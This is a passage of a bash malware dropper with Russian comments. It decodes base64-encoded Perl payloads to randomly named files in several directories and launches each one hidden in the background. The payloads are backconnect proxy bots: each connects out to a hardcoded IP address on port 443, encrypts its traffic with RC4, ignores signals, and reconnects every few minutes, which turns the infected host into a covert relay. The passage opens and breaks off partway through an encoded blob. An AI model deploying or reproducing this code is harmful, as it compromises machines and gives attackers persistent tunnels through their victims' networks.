cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #19 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #19 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 20 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #20 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #20 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 21 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9 